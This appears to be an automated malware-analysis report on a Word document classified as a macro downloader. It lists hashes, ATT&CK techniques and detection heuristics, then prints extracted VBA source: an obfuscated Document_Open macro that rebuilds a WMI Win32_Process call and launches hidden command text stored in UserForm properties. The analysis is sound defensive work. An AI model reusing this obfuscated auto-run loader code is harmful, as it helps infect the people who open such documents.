Doc.Downloader.Logan-9608236-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 2538802409de2202…

MALICIOUS

Office (OLE)

169.2 KB Created: 2020-07-28 23:27:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: e4fa748a8c4e5cbbadcea8d989020872 SHA-1: 42010a0f9041438abd84b53f391b16cc50906ab7 SHA-256: 2538802409de2202d9f2b732d3b006d4e0035ace1222e13d23a2a85c96c824ef
262 Risk Score

Malware Insights

Doc.Downloader.Logan-9608236-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate or Obfuscate Malicious Code

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of a downloader. The ClamAV detection name 'Doc.Downloader.Logan-9608236-0' further supports this classification. The VBA script is designed to deobfuscate and execute a payload, likely by downloading it from a remote source.

Heuristics 7

  • ClamAV: Doc.Downloader.Logan-9608236-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Logan-9608236-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5149 bytes
SHA-256: 9e30156dc746cb84e5c3e8692860e7886cc30a500b8b6434389e04252ec81846
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ZYNGFoqsxopwlywzusk"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
RYVEUkdxwxeuhlia.VDGJBqshyhtvykrzb
End Sub


Attribute VB_Name = "RYVEUkdxwxeuhlia"
Attribute VB_Base = "0{52B33DAC-5CF5-48D7-8F8A-A645ED3B88B6}{BCC648FB-619D-4AAC-8BD8-0155094F0351}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function VDGJBqshyhtvykrzb()
FWPTXfedjbytawbp = Chr(RYVEUkdxwxeuhlia.Zoom + ((60 + 60) / 8))
kS7áCw = 3
Do While kS7áCw < 3 + 1
kS7áCw = kS7áCw + 2: DoEvents
VMTOSgqktbyjj = "NJUOProycmshqrhoa"
Loop
WMXZMaploxcqteiqkep = "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2i83nNBugU7&&)njk&&Dnnnsn882n2nm83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2gm83nNBugU7&&)njk&&Dnnnsn882n2t83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2" + FWPTXfedjbytawbp + "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2:83nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2in83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2383nNBugU7&&)njk&&Dnnnsn882n2283nNBugU7&&)njk&&Dnnnsn882n2_83nNBugU7&&)njk&&Dnnnsn882n2" + RYVEUkdxwxeuhlia.ILLPXpkpdkkivrl + "83nNBugU7&&)njk&&Dnnnsn882n2ro83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2ce83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2"
EIB7ÅqfeUVM = 3
Do While EIB7ÅqfeUVM < 3 + 6
EIB7ÅqfeUVM = EIB7ÅqfeUVM + 6: DoEvents
DGIIVdwtmuuwebnhvus = "WSQWKgwkqzceay"
Loop
KDQQVjbocuvvprfumf = DHXXHmhimuukl(WMXZMaploxcqteiqkep)
Dim htNIyY1âdCk As Integer
htNIyY1âdCk = 2
Do While htNIyY1âdCk < 2 + 3
htNIyY1âdCk = htNIyY1âdCk + 4: DoEvents
DKENQsveuefiq = "IVNWSdlqlxphmdnspw"
Loop
Set HJQZQsyliwnlxjwe = CreateObject(KDQQVjbocuvvprfumf)
Dim u4ÚQcypeHro As Long
u4ÚQcypeHro = InStr("YE2ßoUDAZJ8ÌU2Ô7ÇQL", "DAZJ8ÌU2Ô7ÇQL")
SODNPntnrtecwx = RYVEUkdxwxeuhlia.IROFRfglbybpb.ControlTipText
Dim uXt1âUC7Ìlhk As Integer
uXt1âUC7Ìlhk = 1
Do While uXt1âUC7Ìlhk < 1 + 3
uXt1âUC7Ìlhk = uXt1âUC7Ìlhk + 1: DoEvents
WKWQGbpbnwsfy = "PHDOIhvtnzhyj"
Loop
RUFHPfzjqenych = NN + (KDQQVjbocuvvprfumf + FWPTXfedjbytawbp) + RYVEUkdxwxeuhlia.JEIRChbwwtmxi.ControlTipText + SODNPntnrtecwx
Dim cm7àR As Long
cm7àR = InStr("Ri7ÝKoPO1åiu", "oPO1åiu")
PZMZSffcwsuzl = RUFHPfzjqenych + RYVEUkdxwxeuhlia.ILLPXpkpdkkivrl
Dim GTLaT As Integer
GTLaT = 8
Do While GTLaT < 8 + 9
GTLaT = GTLaT + 9: DoEvents
RRBOJcuklehuc = "XTTSQcwvjdho"
Loop
Set KBXOXetihzquqfej = GLXWPrdtbpqo(PZMZSffcwsuzl)
yhtNIy = 2
Do While yhtNIy < 2 + 5
yhtNIy = yhtNIy + 8: DoEvents
CXXJHrjjwuevvk = "WYHNFtwtfohhj"
Loop
uiii = Array("BNSBSBBSSS", HJQZQsyliwnlxjwe. _
Create(JMOWJulqjfjhmdyyhxr, HXHVTsnnuzcssaypwv, KBXOXetihzquqfej), "NNNNNNNSNSNSNMD")
Dim nCsIBSZFOy As Long
nCsIBSZFOy = InStr("k2ÂuKQgoHD7ÒZO", "D7ÒZO")
End Function
Function GLXWPrdtbpqo(NCDPLywlctmcuzufdvx)
Set GLXWPrdtbpqo = CreateObject(NCDPLywlctmcuzufdvx)
Dim CXgj2àMbiO As Integer
CXgj2àMbiO = 2
Do While CXgj2àMbiO < 2 + 8
CXgj2àMbiO = CXgj2àMbiO + 5: DoEvents
RZLWTipfdrvakanox = "ACSRIeikmbvuqrmpsw"
Loop
GLXWPrdtbpqo.showwindow = (AOMDMjvzyssfmbsvty + RHOIWokjbdouiqswioz) + (IMEJSuvjsxwtqs + PMFQObzuwkxjo)
Dim qLVYD7v As Long
qLVYD7v = InStr("qQODODfPNf", "ODfPNf")
End Function
Function DHXXHmhimuukl(AFLFCrlyebzu)
MXOOGjcojjvenij = AFLFCrlyebzu
Dim C8àd8åuNsf As Integer
C8àd8åuNsf = 6
Do While C8àd8åuNsf < 6 + 2
C8àd8åuNsf = C8àd8åuNsf + 3: DoEvents
FKHTSrecfpbtaqehv = "PMDKCykeisiyu"
Loop
PQBYQdrkuvrjnyttbm = Split _
(MXOOGjcojjvenij, "83nNBugU7&&)njk&&Dnnnsn882n2")
WRTyS = 4
Do While WRTyS < 4 + 6
WRTyS = WRTyS + 1: DoEvents
GQNNOzybangqovb = "QOPTUcquijjnim"
Loop
FPRGFneddrlpukl = kooooo + Join(PQBYQdrkuvrjnyttbm, buuuu)

... (truncated)

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